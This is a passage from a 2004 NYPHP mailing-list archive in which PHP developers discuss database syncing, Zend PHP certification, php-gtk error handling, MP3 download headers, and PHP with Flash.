point me to a ref)-from connect to select? TIA RS This e-mail, including attachments, may include confidential and/or proprietary information, and may be used only by the person or entity to which it is addressed. If the reader of this e-mail is not the intended recipient or his or her authorized agent, the reader is hereby notified that any dissemination, distribution or copying of this e-mail is prohibited. If you have received this e-mail in error, please notify the sender by replying to this message and delete this e-mail immediately. From sm11szw02 at sneakemail.com Fri Jun 18 10:15:42 2004 From: sm11szw02 at sneakemail.com (inforequest) Date: Fri, 18 Jun 2004 10:15:42 -0400 Subject: [nycphp-talk] DB Differences In-Reply-To: <20040618084058.8E851A85EA@virtu.nyphp.org> References: <20040618084058.8E851A85EA@virtu.nyphp.org> Message-ID: <7468-00401@sneakemail.com> Mark Armendariz nyphp-at-enobrev.com |nyphp 04/2004| wrote: >Looking for a professional developer's opinion... > How about a developer/development project director's opinion? Based on my (somewhat cynical view of ) experience dealing with people who have a "good Access database" and "need someone to put it onto the web": - they will not listen to your reasons for changing the Access database at this time. - they will not learn "in real time" from your own database design/work - they *will* likely change their own schema at some point (because they will learn and improve - and while it may be an improvement, it will not match yours) So if these are likely, you really need to abstract your interface to their data and make a clear specification for what they will have to provide to you for updates. If you get to do this unilaterally, good for you. Get that spec approved in writing so everyone has an obligation to meet it (otherwise they may decide to change it and simply expect you to accommodate the changes). Define a CSV or whatever that works for their schema now, and is solid for your use. Require a full dump for their export every time, so you don't need to worry as much about data integrity. This is a good time to design your app and process to be modular such that it is recoverable from a full data set from their end plus a diff or sync set from your end, with no need to have your database backup on hand (just the diff or sync set).. Think ahead and require compression now, so if the file gets large nothing breaks. Your apps should accomodate updates via proper table structure *on your side*, so that the full dump gets parsed *by you* and your own tables accommodate syncing your stuff with their stuff. Ideally, your database and process is robust enough to restart fresh on a new system using only 1) a full dump they provide and 2) an import/sync set from your side. If you achieve that, you can then offload archive responsibility to their admin as well, by simply delivering the sync set at any time for him to archive along with a copy of the process and a copy of his full dump CSV. If I were you I would create some one-way hash functions to run their dataset which I would run prior to every import, so that any changes at all (historical data, field names, eve spelling and or capitalizations) are flagged and the generated repor tis made available to both sides. Of course I would make sure my archive/diff set passed those same data integrity checks as well ;-) From mitchy at spacemonkeylabs.com Fri Jun 18 10:20:04 2004 From: mitchy at spacemonkeylabs.com (Mitch Pirtle) Date: Fri, 18 Jun 2004 10:20:04 -0400 Subject: [nycphp-talk] DB Differences In-Reply-To: <20040618140301.1ACBBA8633@virtu.nyphp.org> References: <20040618140301.1ACBBA8633@virtu.nyphp.org> Message-ID: <40D2FA14.7080300@spacemonkeylabs.com> I'm in a similar situation with one of my clients right now. It is a complex financial site that gets daily feeds from a third party data provider. Normally I'd enjoy this kind of work, but the politics of the situation mean that instead of getting direct flatfile exports from the provider, I have to wait on someone at the client to manually pull the same data down into (gasp!) excel spreadsheets (gasp! gasp!) This data is complete bollocks. Mismatched fields, constantly-changing formats, bogus values, you name it. (CENSORED) So I have written a PHP script (fired off by cron every night) that does all the work for me. It was quite some effort building in all of the error checking and format conversions, but it was an excellent opportunity for me to work with PHP on the command line and also get some badly-needed experimentation with classes and objects. So instead of being unhappy, I'm happy and just a little more edumucated ;) Plus my database is in PostgreSQL (a manly-man's database), and I can have whatever schema I want as a result of the load script running 'interference' between the two disparate datasources. That is, if you could qualify Excel a 'datasource'! Keep this in mind - although importing with a direct loading utility (like mysqlloader or whatever) is the best bet - and easily the best performing of the bunch - you may need more that just direct loading. It may be more important to have error checking and controls in place to ensure that your application does not fall prey to the "garbage in, garbage out" disease. This would also give you the insurance that having a separate schema for your app will not cause discomfort with the original application, as you now have the chance to do some data transformation. Besides, you certainly want to have some sort of error checking so you aren't left with an empty database if the automated load fails, right? Also, a plug on ADOdb's XML data transformation services is in order, as you may have yourself the perfect opportunity to use this fascinating library... http://phplens.com/lens/adodb/docs-datadict.htm I'm hoping to use it in Mambo Open Source 5.0, which will sport ADOdb under the hood and needs to support cross-platform database creation at install time... -- Mitch From sm11szw02 at sneakemail.com Fri Jun 18 10:23:19 2004 From: sm11szw02 at sneakemail.com (inforequest) Date: Fri, 18 Jun 2004 10:23:19 -0400 Subject: [nycphp-talk] CLEW In-Reply-To: <20040618125756.3C6A1A85EA@virtu.nyphp.org> References: <20040618125756.3C6A1A85EA@virtu.nyphp.org> Message-ID: <12033-97936@sneakemail.com> Mark Armendariz nyphp-at-enobrev.com |nyphp 04/2004| wrote: >Another Hans. What are the odds? > > > From what I have heard, this is the third Hans in as many years. From jonbaer at jonbaer.net Fri Jun 18 09:39:53 2004 From: jonbaer at jonbaer.net (Jon Baer) Date: Fri, 18 Jun 2004 09:39:53 -0400 Subject: [nycphp-talk] DB Differences In-Reply-To: <20040618115036.2C4F7A8633@virtu.nyphp.org> References: <002b01c45525$3b525960$e98d3818@oberon1> <20040618115036.2C4F7A8633@virtu.nyphp.org> Message-ID: <20040618133953.GB14271@jonbaer.net> If the original developer is still around Id have a sit down with him/her and explain the huge benefits or having a seperate criteria table ... then work around what you would like to accomplish with him/her in terms of accuratley syncing (btw, do you need to actually "sync" @ all - from what I recall you could use PEARDB w/ odbc and adjust your SQL accordingly) ... some however question its reliability I beleive :-\ - Jon On Fri, Jun 18, 2004 at 07:50:30AM -0400, Mark Armendariz wrote: > Well, this is the primary dilemma. Do I design the db 'my way' and make the > sync really nasty, while potentially offending the original developer - > while building a nice and easy to maintain site, or do I do it his way > trying to keep up with overlapping records and workarounds. -- pgp key: http://www.jonbaer.net/jonbaer.asc fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From nyphp at enobrev.com Fri Jun 18 10:25:44 2004 From: nyphp at enobrev.com (Mark Armendariz) Date: Fri, 18 Jun 2004 10:25:44 -0400 Subject: [nycphp-talk] Zend PHP Certification In-Reply-To: <20040618132818.GA14271@jonbaer.net> Message-ID: <20040618142549.E3254A85EA@virtu.nyphp.org> > lol ... someone with a "Bachelor of Science in BSing"? > > i need to get my resume to your human relations department as > soon as possible ... Hehe.. The point is, that a good conversation in a comfortable environment can tell you quite a bit about a person. Of course having the work and references to show experience is key, but you can learn a great deal about a person's ability to communicate with you, your clients and with themselves in every day conversation. You can also get a good feel for how open they are to ideas and how rational they are. The honesty from the conversation away from the interview will generally let you know how compatible you and your team will be with them as well, considering you may end up spending more time with them than you do with significant others. > i think the certs are fair and justifiable, And I agree, especially with the earlier example, which sounded like a great implementation. If it's done well, then it's well worth it. Mark From jim at bizcomputinginc.com Fri Jun 18 10:36:59 2004 From: jim at bizcomputinginc.com (Jim Hendricks) Date: Fri, 18 Jun 2004 10:36:59 -0400 Subject: [nycphp-talk] DB Differences References: <20040618140301.1ACBBA8633@virtu.nyphp.org> Message-ID: <007b01c45541$b6b16210$c801a8c0@BizComputing> Well then, the real question is if the client needs to know how you do the job. I don't provide internal code/db design info to my clients, just the interface design and overal nutshell process design. This means on the project your dealing with I would tell them process wise we have some kind of sync process to put the access data into a db that's workable from the web and then the website processes for the parents to be validated etc & query the data. I wouldn't inform the client that the DB may not be the same design as the DB they are providing. If the DB for the website is static ( ie. no updates except through the sync ) then I would provide the client the option to do a dump rather than sync. This eliminates all the complexity of determining what has changed etc. Then your translator is very straight forward. >From the business perspective it would be interesting to find out how many developers have provably gained more work because they refuse work which would require too much developer design compromise. My own experience has been with companies that take work no matter the development compromise, the only deciding factor on accepting projects were money. Now that I'm independent, I have turned down work based on a refusal to compromise, although my willingness to compromise has become greater as I deal with the desire to put food on the table for my family. BTW, I'm a developer through and through. I have been running my own consultancy for 3 years and still don't call myself a businessman. I'm independant not because I want to be but because I lost my job right at the end of the .com bomb and the beginning of IT hell and the job market was drier than a cracker in the Sahara during a 30 year draught. Thus said, I am always looking for business based opinions of others and am very willing to adjust my business view accordingly. Jim ----- Original Message ----- From: "Mark Armendariz" To: "'NYPHP Talk'" Sent: Friday, June 18, 2004 10:02 AM Subject: RE: [nycphp-talk] DB Differences > > Now flip it, translating takes longer, but the client is > > willing to bear the cost, you can either stick with the plan > > and have the knowledge that the program is the best you can > > produce, or you can short cut, do the straight sync and dirty > > programming and either come out the under budget hero or a > > little richer. > > I think this is one of the major bases for my indecision. If the client > would prefer the straight sync, I may just turn down the gig. I have a very > hard time putting out code and asking people to pay for it if I don't feel > it's done to the best of my ability with my full approval (or at least a > good 85% approval due to compromise). Even when I was growing tired of the > refried-beans-every-damned-day diet, I wouldn't compromise my product for a > check. I'm sure such pride can be a downfall, but I feel it's one of the > major reasons I have so much work now. > > Mark > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk From nyphp at enobrev.com Fri Jun 18 10:40:11 2004 From: nyphp at enobrev.com (Mark Armendariz) Date: Fri, 18 Jun 2004 10:40:11 -0400 Subject: [nycphp-talk] DB Differences In-Reply-To: <7468-00401@sneakemail.com> Message-ID: <20040618144017.40793A85EA@virtu.nyphp.org> >On Behalf Of inforequest > - they will not listen to your reasons for changing the > Access database at this time. > - they will not learn "in real time" from your own database > design/work > - they *will* likely change their own schema at some point > (because they will learn and improve - and while it may be an > improvement, it will not match yours) --- > So if these are likely, you really need to abstract your > interface to their data and make a clear specification for > what they will have to provide to you for updates. >On Behalf Of Mitch Pirtle > It may be more important to have error checking and controls > in place to ensure that your application does not fall prey > to the "garbage in, garbage out" disease. This would also > give you the insurance that having a separate schema for your > app will not cause discomfort with the original application, > as you now have the chance to do some data transformation. More incredible points. This whole thread has opened my eyes quite a bit to the politics of application synching in general, as to ensuring all changes are planned, spec'd and a process is put into writing ensuring both data structures will continue to work together through future maintenance on both ends. I've always put a great deal of time into planning and ensuring everything's signed off on before my first ' Message-ID: <20040618144856.61865A85EA@virtu.nyphp.org> > Well then, the real question is if the client needs to know > how you do the job. I try to keep all my work and plans as up front as possible with the client (as long as they want to hear it, of course). As an independent, I'm sure you know very well that there can quite well be another new contract developer going over this in a few months should I be busy or out of town. When that developer comes to the app and finds 2 completely different databases and a massive data processing script, the client can explain what, where, and why, instead of the new developer trying to talk the client into a complete rewrite because the 'last guy didn't know what he was doing.' Then when I get back from my PHP cruise or whatnot, instead of having 15 emails questioning my methods, I can just delete all my spam infested inboxes and settle in. > If the DB for the website is > static ( ie. no updates except through the sync ) then I > would provide the client the option to do a dump If the conversion ends up being some serious muckery, I may end up going the dump route entirely, although I'm sure I'll be able to convert the data accordingly with some good planning. Mark From jonbaer at jonbaer.net Fri Jun 18 09:49:27 2004 From: jonbaer at jonbaer.net (Jon Baer) Date: Fri, 18 Jun 2004 09:49:27 -0400 Subject: [nycphp-talk] php-gtk error handling Message-ID: <20040618134927.GA14375@jonbaer.net> when handling crashes outside of php w/gtk is it just feasible to trap all errors the normal way? set_error_handler("gtkException"); ? id like to just get a normal dialog/info box but does this handle everything outside of php (for example missing widget sets,etc) ... - jon -- pgp key: http://www.jonbaer.net/jonbaer.asc fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From jonbaer at jonbaer.net Fri Jun 18 10:02:59 2004 From: jonbaer at jonbaer.net (Jon Baer) Date: Fri, 18 Jun 2004 10:02:59 -0400 Subject: [nycphp-talk] Zend PHP Certification In-Reply-To: <40D2E3F2.7090109@chxo.com> References: <40D2E3F2.7090109@chxo.com> Message-ID: <20040618140259.GB14375@jonbaer.net> I would be ... for one the thing I feel that "messes things up" when it comes to both certification and the process of learning any programming language is both the books and resources that cover it and sometimes the language itself ... There are alot of security areas where it just seems like certain things should just "happen automatically" yet you cant dictate how someone should be able to code/style it ... and nearly every book has a different way to go about it ... Here is one example - page 285, PHP Developer cookbook: It shows that EscapeShellCmd() should pretty much *always* be used when forking a process to read from ... yet its not something built-in nor shown in the example but is merely "stressed" as being important ... The same goes for DB usage ... would someone writing tons of code w/ mysql_query() be a "bad coder" when generic Pear::DB exists, yet plenty of books really just jump right into the extension. I didnt see Pear covered on the outline for the exam, so Im hoping the 'PHP and database' section is generic since the cerification covers the "language" itself. - Jon On Fri, Jun 18, 2004 at 08:45:38AM -0400, Chris Snyder wrote: > I hope NYPHP will offer training (online and off) to pass certification > if the community embraces it -- would anyone be interested in such a > thing, either for themselves or their colleagues? -- pgp key: http://www.jonbaer.net/jonbaer.asc fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From tgales at tgaconnect.com Fri Jun 18 11:08:18 2004 From: tgales at tgaconnect.com (Tim Gales) Date: Fri, 18 Jun 2004 11:08:18 -0400 Subject: [nycphp-talk] Zend PHP Certification In-Reply-To: <40D2E3F2.7090109@chxo.com> Message-ID: <005201c45546$171ec260$e98d3818@oberon1> Chris Snyder writes: > > How do people feel about "official" certification as a qualified PHP > programmer? > Thies Arntzen once said: "I could teach PHP to a monkey, if I had enough bananas." One of the main advantages of PHP is that it is a small and 'intellectually manageable' language. You can get a pretty good grasp of PHP, the language, in an afternoon -- if you come from another programming discipline (C++, Java, etc.) But PHP doesn't operate in a vacuum -- it works together with an operating system, a web server, and more often than not with a database (and that's not including permutations with PHP as a CLI) When it operates like this PHP is much more than a language. When PHP works with the other components, it becomes a framework. That's why at NYPHP we have this concept of 'AMP' (Apache MySQL PHP) training -- i.e. PHP doesn't operate in a vacuum. To digress for a moment, this would probably be a lot clearer if someone (me) had done a better job explaining the training on the pages of NYPHP's website. (I could use some help here. I invite all interested parties to drop a line to: Michael Southwell VP, Education Department NYPHP michael.southwell at nyphp.org and request membership to the Education Department mailing list. This is a golden opportunity to help shape not just the web pages at NYPHP -- but to work together on forging the future curriculum at NYPHP. Since I am digressing, let me also say you don't have to have an advanced degree in education or be a PHP guru to help. Everybody on this list has an area of expertise, which can greatly help our effort -- so please consider this: You can make a *BIG* difference in the PHP community and help it to grow, if you decide that is something you want) Back to the original topic (PHP certification), what is meant by PHP certification? If it means you know the language, then it strikes me that it wouldn't be to valuable (that is, of course, if you take it as a given that you could learn the language in an afternoon). Now if PHP certification means that you know all that stuff (the twelve chapters) which was included in the post about Zend certification, then I have some thoughts on that. One, it seems to ambitious. I don't see how you could cover all that ground in even a hundred questions on an exam -- of course I haven't seen the book or the test, so perhaps I am just badly informed here -- much less seventy questions. Two, it seems uneven. It might be better to have a volume on PHP with databases, and a volume about PHP with XML -- instead of all in one book. Basically, the NYPHP focus is going to be on AMP certifications (and even there, that might be too broad -- i.e. perhaps it should be broken into WAMP, XAMP, and LAMP) If you don't agree, join the Education Department. We work by consensus -- your voice will be heard. T. Gales & Associates 'Helping People Connect with Technology' http://www.tgaconnect.com From kushner at gmail.com Fri Jun 18 11:21:11 2004 From: kushner at gmail.com (Daniel Kushner) Date: Fri, 18 Jun 2004 11:21:11 -0400 Subject: [nycphp-talk] Zend PHP Certification In-Reply-To: <20040618140259.GB14375@jonbaer.net> References: <40D2E3F2.7090109@chxo.com> <20040618140259.GB14375@jonbaer.net> Message-ID: <7ac626ed04061808215b5e1923@mail.gmail.com> On Fri, 18 Jun 2004 10:02:59 -0400, Jon Baer wrote: > The same goes for DB usage ... would someone writing tons of code w/ > mysql_query() be a "bad coder" when generic Pear::DB exists, yet plenty of books really > just jump right into the extension. I didnt see Pear covered on the outline for the exam, > so Im hoping the 'PHP and database' section is generic since the cerification covers the > "language" itself. Jon, The database questions are generic as you said and will not be tide to any specific database. As for Pear, there are no questions. The authors of the exam didn't feel that knowing PHP means knowing Pear. -Daniel From crisscott at netzero.com Fri Jun 18 11:31:52 2004 From: crisscott at netzero.com (Scott Mattocks) Date: Fri, 18 Jun 2004 11:31:52 -0400 Subject: [nycphp-talk] php-gtk error handling In-Reply-To: <20040618134927.GA14375@jonbaer.net> References: <20040618134927.GA14375@jonbaer.net> Message-ID: <40D30AE8.6080304@netzero.com> Jon Baer wrote: > when handling crashes outside of php w/gtk is it just feasible to trap > all errors the normal way? > > set_error_handler("gtkException"); ? > > id like to just get a normal dialog/info box but does this handle > everything outside of php (for example missing widget sets,etc) ... I think that should do everything you need. Anytime I do something stupid like connect an event that a widget doesn't listen for I get PHP errors not some other type of error. I think the PHP-GTK team was pretty good about making sure that all GTK errors were handled with PHP. Scott Mattocks From d at tdavidvogel.com Fri Jun 18 11:32:29 2004 From: d at tdavidvogel.com (David Vogel) Date: Fri, 18 Jun 2004 11:32:29 -0400 Subject: [nycphp-talk] Zend PHP Certification In-Reply-To: <005201c45546$171ec260$e98d3818@oberon1> References: <005201c45546$171ec260$e98d3818@oberon1> Message-ID: <40D30B0D.9050805@tdavidvogel.com> I'd like to weigh in here because I'm in a position to have my job pay for training and have been wondering for a while when the TBA's on the training ramp cert. page were going to become actual dates. I think the best thing I can contribute to the conversation is a summary of what I'd like to get out of some PHP +related training. First of all I came to PHP (and web stuff in general) via photography, design, cooking, biology etc. So, I started using PHP because it's easy to to a lot of things. But, basically I don't know what I'm doing and have been floundering around for a while wondering how to get my bearings when there are so many other (better IMHO) ways to spend time than in front of a computer. That said. I would like to gain a more solid understanding of the fundamentals of the language itself. As well as enough familiarity with the other parts of the 'framework' to be confident that I am proceeding with a project in a way that makes sense instead of going off on a tangent (which is easy when there are so many alternative ways to go about a task). As an employee at a medium-sized university I will never be administering the servers or compiling the PHP, but I would like to know enough about Apache etc. to be able to confidently interact with the IT dept that does (eg lobby for a new mod in PHP, or not be so in the dark (where they like to keep people) about the environment I'm trying to work in). I should shut up now. But as far as certification goes I don't care about certification (and I totally agree that casual conversation can speak volumes about a potential employee) but if I can learn more about the things I'd like to know and get a certification to show to the people out there who do care about certifications, then so much the better. Hope that's somewhat helpful from one potential student's perspective. And, I hope you figure all this out soon so I can come down and take some classes soon... Dave Tim Gales wrote: >Chris Snyder writes: > > >>How do people feel about "official" certification as a qualified PHP >>programmer? >> >> >> > >Thies Arntzen once said: >"I could teach PHP to a monkey, if I had enough bananas." > >One of the main advantages of PHP is that it >is a small and 'intellectually manageable' language. > >You can get a pretty good grasp of PHP, the language, >in an afternoon -- if you come from another programming >discipline (C++, Java, etc.) > >But PHP doesn't operate in a vacuum -- >it works together with an operating system, >a web server, and more often than not with >a database (and that's not including permutations >with PHP as a CLI) > >When it operates like this PHP is much more >than a language. When PHP works with the other >components, it becomes a framework. > >That's why at NYPHP we have this concept of >'AMP' (Apache MySQL PHP) training -- i.e. >PHP doesn't operate in a vacuum. > >To digress for a moment, this would probably be >a lot clearer if someone (me) had done a >better job explaining the training on the >pages of NYPHP's website. > >(I could use some help here. I invite all >interested parties to drop a line to: > >Michael Southwell >VP, Education Department >NYPHP >michael.southwell at nyphp.org > >and request membership to the Education >Department mailing list. > >This is a golden opportunity to help shape >not just the web pages at NYPHP -- but >to work together on forging the future curriculum >at NYPHP. > >Since I am digressing, let me also say >you don't have to have an advanced degree in >education or be a PHP guru to help. > >Everybody on this list has an area of >expertise, which can greatly help our >effort -- so please consider this: >You can make a *BIG* difference in the PHP >community and help it to grow, if you decide >that is something you want) > >Back to the original topic (PHP certification), >what is meant by PHP certification? > >If it means you know the language, then >it strikes me that it wouldn't be to >valuable (that is, of course, if you take it >as a given that you could learn the language >in an afternoon). > >Now if PHP certification means that you know >all that stuff (the twelve chapters) which >was included in the post about Zend >certification, then I have some thoughts on that. > >One, it seems to ambitious. >I don't see how you could cover all that >ground in even a hundred questions on an >exam -- of course I haven't seen the book >or the test, so perhaps I am just badly >informed here -- much less seventy questions. > >Two, it seems uneven. >It might be better to have a volume on >PHP with databases, and a volume about >PHP with XML -- instead of all in one >book. > >Basically, the NYPHP focus is going to >be on AMP certifications (and even there, that >might be too broad -- i.e. perhaps it should >be broken into WAMP, XAMP, and LAMP) > >If you don't agree, join the Education >Department. We work by consensus -- >your voice will be heard. > >T. Gales & Associates >'Helping People Connect with Technology' > >http://www.tgaconnect.com > > > > > > > > > > > > > >_______________________________________________ >talk mailing list >talk at lists.nyphp.org >http://lists.nyphp.org/mailman/listinfo/talk > > > From stephen at musgrave.org Fri Jun 18 11:46:18 2004 From: stephen at musgrave.org (Stephen Musgrave) Date: Fri, 18 Jun 2004 11:46:18 -0400 Subject: [nycphp-talk] header to force helper app for MP3 file Message-ID: from browser to browser, platform to platform, there are varying scenarios that a user is put through when clicking on an MP3 file. on my mac a new page opens with quicktime embedded in the middle and the file plays. on one PC that it was tested on, windows media player launched. i've tried to use various header directives which cause, again, varying user experiences a couple that i have tried include: - - - - - - - - header('Content-Type: application/mpeg'); readfile($filename); - - - - - - - - header('Content-Type: audio/mpeg'); readfile($filename); - - - - - - - - header('Content-Type: audio/x-mpegurl'); readfile($filename); - - - - - - - - i want the user's helper application for mp3s to launch. if there isn't one defined, they should be prompted to decide to choose one or download. any tried and true method? thanks much : stephen From nyphp at NewAgeWeb.com Fri Jun 18 13:14:34 2004 From: nyphp at NewAgeWeb.com (Jerry Kapron) Date: Fri, 18 Jun 2004 13:14:34 -0400 Subject: [nycphp-talk] header to force helper app for MP3 file Message-ID: <001c01c45557$bbcff3e0$e001a8c0@duron.lan.newageweb.com> Stephen, To force the browser to show the Open/Save dialog box, in addition to the Content-Type header you should send the Content-disposition header: 'Content-disposition: attachment; filename=filename.mp3' Cheers, Jerry -----Original Message----- On Friday, June 18, 2004 11:46 AM Stephen Musgrave wrote: > >from browser to browser, platform to platform, there are varying scenarios >that a user is put through when clicking on an MP3 file. on my mac a new >page opens with quicktime embedded in the middle and the file plays. on one >PC that it was tested on, windows media player launched. > >i've tried to use various header directives which cause, again, varying user >experiences a couple that i have tried include: > >- - - - - - - - > >header('Content-Type: application/mpeg'); >readfile($filename); > >- - - - - - - - > >header('Content-Type: audio/mpeg'); >readfile($filename); > >- - - - - - - - > >header('Content-Type: audio/x-mpegurl'); >readfile($filename); > >- - - - - - - - > >i want the user's helper application for mp3s to launch. if there isn't one >defined, they should be prompted to decide to choose one or download. > >any tried and true method? > >thanks much : stephen > > >_______________________________________________ >talk mailing list >talk at lists.nyphp.org >http://lists.nyphp.org/mailman/listinfo/talk > From sm11szw02 at sneakemail.com Fri Jun 18 13:35:33 2004 From: sm11szw02 at sneakemail.com (inforequest) Date: Fri, 18 Jun 2004 13:35:33 -0400 Subject: [nycphp-talk] Zend PHP Certification In-Reply-To: <40D2E3F2.7090109@chxo.com> References: <40D2E3F2.7090109@chxo.com> Message-ID: <9201-16601@sneakemail.com> Chris Snyder csnyder-at-chxo.com |nyphp 04/2004| wrote: > How do people feel about "official" certification as a qualified PHP > programmer? > I'd like to ask the question "Why does Zend want to offer Certification?" I think the answer to that may be telling. -=john From kushner at gmail.com Fri Jun 18 13:41:23 2004 From: kushner at gmail.com (Daniel Kushner) Date: Fri, 18 Jun 2004 13:41:23 -0400 Subject: [nycphp-talk] Zend PHP Certification In-Reply-To: <9201-16601@sneakemail.com> References: <40D2E3F2.7090109@chxo.com> <9201-16601@sneakemail.com> Message-ID: <7ac626ed04061810416da5d731@mail.gmail.com> > I'd like to ask the question "Why does Zend want to offer Certification?" > > I think the answer to that may be telling. > > -=john > Hi John, I the first message of this thread: "As the PHP company, Zend has been approached by many asking it to establish an industry standard that recognizes PHP expertise. In order to do that Zend has partnered with PHP experts worldwide to create the Zend PHP certification exam. The Zend PHP Education Advisory Board has specified a curriculum essential to demonstrate expert proficiency in PHP." Best, Daniel From southwell at dneba.com Fri Jun 18 13:43:42 2004 From: southwell at dneba.com (Michael Southwell) Date: Fri, 18 Jun 2004 13:43:42 -0400 Subject: [nycphp-talk] Zend PHP Certification In-Reply-To: <40D2E3F2.7090109@chxo.com> References: <40D2E3F2.7090109@chxo.com> Message-ID: <6.1.0.6.2.20040618134246.01f805a8@mail.optonline.net> At 08:45 AM 6/18/2004, you wrote: >I hope NYPHP will offer training (online and off) to pass certification if >the community embraces it -- would anyone be interested in such a thing, >either for themselves or their colleagues? We will indeed offer such training if there is a market for it. Michael Southwell VP, Education Department NYPHP michael.southwell at nyphp.org From sm11szw02 at sneakemail.com Fri Jun 18 13:45:43 2004 From: sm11szw02 at sneakemail.com (inforequest) Date: Fri, 18 Jun 2004 13:45:43 -0400 Subject: [nycphp-talk] Zend PHP Certification In-Reply-To: <7ac626ed04061810416da5d731@mail.gmail.com> References: <40D2E3F2.7090109@chxo.com> <9201-16601@sneakemail.com> <7ac626ed04061810416da5d731@mail.gmail.com> Message-ID: <7699-57408@sneakemail.com> Daniel Kushner kushner-at-gmail.com |nyphp 04/2004| wrote: >>I'd like to ask the question "Why does Zend want to offer Certification?" >> >>I think the answer to that may be telling. >> >>-=john >> >> >Hi John, > >I the first message of this thread: >"As the PHP company, Zend has been approached by many asking it to >establish an industry standard that recognizes PHP expertise. In order >to do that Zend has partnered with PHP experts worldwide to create the >Zend PHP certification exam. The Zend PHP Education Advisory Board has >specified a curriculum essential to demonstrate expert proficiency in >PHP." > > >Best, >Daniel > Thanks Daniel, I knew I read that soemwhere recently :-) What I mean to say is who is the "many" that have approached Zend about offering such an industry standard? What I am looking for is the motivation beyond the establishment of a standard and a certification. I understand many of the motivation(s) behind M$ certification; I understand the motivation behind the CCNE certification (although I am a bit puzzled by the CNA one ;-) Thanks alot. -=john From southwell at dneba.com Fri Jun 18 13:47:05 2004 From: southwell at dneba.com (Michael Southwell) Date: Fri, 18 Jun 2004 13:47:05 -0400 Subject: [nycphp-talk] PHP and Flash In-Reply-To: <40D2E7C1.6060107@spacemonkeylabs.com> References: <20040617204413.64352.qmail@web12207.mail.yahoo.com> <40D2E7C1.6060107@spacemonkeylabs.com> Message-ID: <6.1.0.6.2.20040618134453.01f36090@mail.optonline.net> At 09:01 AM 6/18/2004, you wrote: >I'm deep in the bowels of a site that uses flash as a container for all >content, and all content is dynamically generated by PHP. When I am done >I will be writing article after article after article... ;) We are still struggling to get our AMPeers project ( http://clew.nyphp.org/clew/education ) back up and running after having lost its project manager, but when we do, I hope you'll consider sending one or more of those our way. >-- Mitch >_______________________________________________ >talk mailing list >talk at lists.nyphp.org >http://lists.nyphp.org/mailman/listinfo/talk Michael Southwell VP, Education Department NYPHP michael.southwell at nyphp.org From webmaster at localnotion.com Fri Jun 18 13:51:15 2004 From: webmaster at localnotion.com (Matthew Terenzio) Date: Fri, 18 Jun 2004 13:51:15 -0400 Subject: [nycphp-talk] Zend PHP Certification In-Reply-To: <20040618125639.0C0A3A86BF@virtu.nyphp.org> References: <20040618125639.0C0A3A86BF@virtu.nyphp.org> Message-ID: <187C253E-C150-11D8-825F-0003938BDF32@localnotion.com> > someone I would be happy to have a few drinks Somehow I think you are hanging in the right crowd. ; ) On Jun 18, 2004, at 8:56 AM, Mark Armendariz wrote: >> How do people feel about "official" certification as a >> qualified PHP programmer? > > I generally avoid certs and people who chase them, but that's based on > a > bias from a few years ago as a manager for a software company hiring > to > fill technical positions. Guys with 4 or 5 networking and hardware > certs > who couldn't change a NIC properly and got that scared look in their > eye > from a 10 node network diagram. > > Otherwise, I think having a certification of knowledge isn't > necessarily a > bad thing as long as it's granted properly. > > Nonetheless, I'd sooner hire someone I would be happy to have a few > drinks > with while chatting about coding methodologies and music than someone > waving > a signed and stamped cert in my face as proof of experience. > > Mark > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk From shawn at shawnlawyer.com Fri Jun 18 14:10:32 2004 From: shawn at shawnlawyer.com (Shawn Lawyer) Date: Fri, 18 Jun 2004 14:10:32 -0400 Subject: [nycphp-talk] PHP and Flash References: <20040618131220.84919.qmail@web12206.mail.yahoo.com> Message-ID: <004d01c4555f$8be6a860$1302a8c0@Vaio> I agree that Ming is a useful extension for this yet when you want to get something done right you often need to turn to the manufacture to get truly managable and scalable results. I'm not sure what your clients budget or timeline is and not this is just a suggestion. I have found it extremly time consuming in the past to use Flash and PHP conbined when building RIA. Note: PHP multimedia this is book might just be a good source of needed info for you. If you have the money and time, oh and (I'm gonna duck now) Java knowledge. Macromedia Flex has become my choice for authoring these types of applicatons. Shawn Lawyer ----- Original Message ----- From: "Jeff Knight" To: "NYPHP Talk" Sent: Friday, June 18, 2004 9:17 AM Subject: Re: [nycphp-talk] PHP and Flash > Don't forget MING > http://www.php.net/manual/en/ref.ming.php > > > On Jun 18, 2004, at 9:12 AM, haha wrote: > > > > > Thanks Mitch! > > > > If I can finish it, I will post the source code here, it may be > > useful for other people! > > > > Good luck to me! > > > > --- Mitch Pirtle wrote: > >> haha wrote: > >> > >>> Hi All: > >>> > >>> Here is a page: > >>> http://www.xcooter.com/s_xc500gt2.shtml > >>> Can I write a PHP and Flash to change it's picrure on the > >> fly? > >>> > >>> > >> > >> You certainly can, but it means that you still have to create > >> the > >> initial flash animation to work as a container for your > >> graphics. > >> > >> What is common today is to create a flash animation that > >> fetches images > >> (or other movies, or even HTML content) from a remote page - > >> this page > >> is a PHP script, and can use arbitrary methods (like session > >> identification) to decide what dynamic content to send to the > >> flash > >> animation. > >> > >> What you are doing is pulling the content *out* of the flash > >> animation, > >> and including it as a remote object with actionscript (flash's > >> > >> proprietary scripting language). So you still need to be able > >> to create > >> the initial flash animation that pulls all the remote media. > >> > >> I'm deep in the bowels of a site that uses flash as a > >> container for all > >> content, and all content is dynamically generated by PHP. > >> When I am > >> done I will be writing article after article after article... > >> ;) > >> > >> -- Mitch > >> _______________________________________________ > >> talk mailing list > >> talk at lists.nyphp.org > >> http://lists.nyphp.org/mailman/listinfo/talk > >> > > > > > > > > > > __________________________________ > > Do you Yahoo!? > > Yahoo! Mail is new and improved - Check it out! > > http://promotions.yahoo.com/new_mail > > _______________________________________________ > > talk mailing list > > talk at lists.nyphp.org > > http://lists.nyphp.org/mailman/listinfo/talk > > _______________________________________________ > talk 